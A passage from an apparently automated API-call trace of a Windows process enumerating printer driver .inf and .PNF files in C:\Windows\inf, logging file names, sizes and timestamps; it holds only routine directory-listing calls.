wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.601] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00y.PNF") returned="prnlx00y.PNF" [0130.601] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.601] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.602] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93724bc6, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x93724bc6, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x93724bc6, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x15ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00z.PNF", cAlternateFileName="")) returned 1 [0130.602] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.602] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00z.inf") returned="prnlx00z.inf" [0130.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.602] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.602] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d008f80, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d008f80, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x3c72fd54, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x826, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnms002.inf", cAlternateFileName="")) returned 1 [0130.602] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.602] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00z.PNF") returned="prnlx00z.PNF" [0130.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.602] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.603] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef231c1, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ef231c1, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ef231c1, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x18d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnms002.PNF", cAlternateFileName="")) returned 1 [0130.605] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.605] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnms002.inf") returned="prnms002.inf" [0130.606] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.606] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.606] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d008f80, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d008f80, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d008f80, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnnr002.inf", cAlternateFileName="")) returned 1 [0130.606] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.606] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnms002.PNF") returned="prnms002.PNF" [0130.606] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.606] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.607] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efe18a2, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8efe18a2, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8efe18a2, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x797c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnnr002.PNF", cAlternateFileName="")) returned 1 [0130.607] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.607] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnnr002.inf") returned="prnnr002.inf" [0130.607] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.607] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.607] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d055241, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d055241, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d055241, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnnr003.inf", cAlternateFileName="")) returned 1 [0130.607] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.607] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnnr002.PNF") returned="prnnr002.PNF" [0130.607] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.607] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.608] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f053cc3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f053cc3, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f053cc3, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x7fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnnr003.PNF", cAlternateFileName="")) returned 1 [0130.608] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.608] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnnr003.inf") returned="prnnr003.inf" [0130.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.608] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.608] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d07b3a1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d07b3a1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d07b3a1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x6e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnnr004.inf", cAlternateFileName="")) returned 1 [0130.608] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.608] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnnr003.PNF") returned="prnnr003.PNF" [0130.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.609] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.609] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f1123a5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f1123a5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f1123a5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6730, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnnr004.PNF", cAlternateFileName="")) returned 1 [0130.609] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.609] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnnr004.inf") returned="prnnr004.inf" [0130.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.609] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.609] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0a1501, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0a1501, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0a1501, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnod002.inf", cAlternateFileName="")) returned 1 [0130.609] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.610] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnnr004.PNF") returned="prnnr004.PNF" [0130.610] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.610] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.610] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd48ca0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8dd48ca0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8dd48ca0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnod002.PNF", cAlternateFileName="")) returned 1 [0130.610] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.610] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnod002.inf") returned="prnod002.inf" [0130.610] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.610] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.610] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0c7662, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0c7662, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0c7662, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x5efa, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnok002.inf", cAlternateFileName="")) returned 1 [0130.611] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.611] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnod002.PNF") returned="prnod002.PNF" [0130.611] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.611] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.611] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea86718, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ea86718, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ea86718, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnok002.PNF", cAlternateFileName="")) returned 1 [0130.611] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.611] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnok002.inf") returned="prnok002.inf" [0130.611] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.611] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.612] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ed7c2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0ed7c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0ed7c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x129c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc002.inf", cAlternateFileName="")) returned 1 [0130.612] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.612] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnok002.PNF") returned="prnok002.PNF" [0130.612] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.612] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.612] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8df84144, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8df84144, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8df84144, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc002.PNF", cAlternateFileName="")) returned 1 [0130.612] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.612] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc002.inf") returned="prnrc002.inf" [0130.612] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.613] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.613] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ed7c2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0ed7c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0ed7c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc003.inf", cAlternateFileName="")) returned 1 [0130.613] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.613] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc002.PNF") returned="prnrc002.PNF" [0130.613] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.613] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.613] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e127067, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e127067, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e127067, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1db4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc003.PNF", cAlternateFileName="")) returned 1 [0130.613] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.614] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc003.inf") returned="prnrc003.inf" [0130.614] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.614] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.614] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d113922, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d113922, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d113922, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc004.inf", cAlternateFileName="")) returned 1 [0130.614] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.614] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc003.PNF") returned="prnrc003.PNF" [0130.614] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.614] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.614] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3ae7cc, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e3ae7cc, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e3ae7cc, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc004.PNF", cAlternateFileName="")) returned 1 [0130.615] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.615] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc004.inf") returned="prnrc004.inf" [0130.615] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.615] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.615] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d113922, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d113922, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d113922, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x98f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc005.inf", cAlternateFileName="")) returned 1 [0130.615] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.615] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc004.PNF") returned="prnrc004.PNF" [0130.615] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.615] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.616] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e60fdd0, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e60fdd0, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e60fdd0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x84a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc005.PNF", cAlternateFileName="")) returned 1 [0130.616] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.616] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc005.inf") returned="prnrc005.inf" [0130.616] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.616] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.616] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d139a82, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d139a82, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d139a82, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc006.inf", cAlternateFileName="")) returned 1 [0130.616] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.617] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc005.PNF") returned="prnrc005.PNF" [0130.617] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.617] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.617] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e8bd695, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e8bd695, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e8bd695, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x8764, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc006.PNF", cAlternateFileName="")) returned 1 [0130.617] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.617] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc006.inf") returned="prnrc006.inf" [0130.617] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.617] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.618] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d185d43, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d185d43, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d185d43, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x72e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc007.inf", cAlternateFileName="")) returned 1 [0130.618] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.618] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc006.PNF") returned="prnrc006.PNF" [0130.618] lstrcpyA (in: lpString1=0x407019, 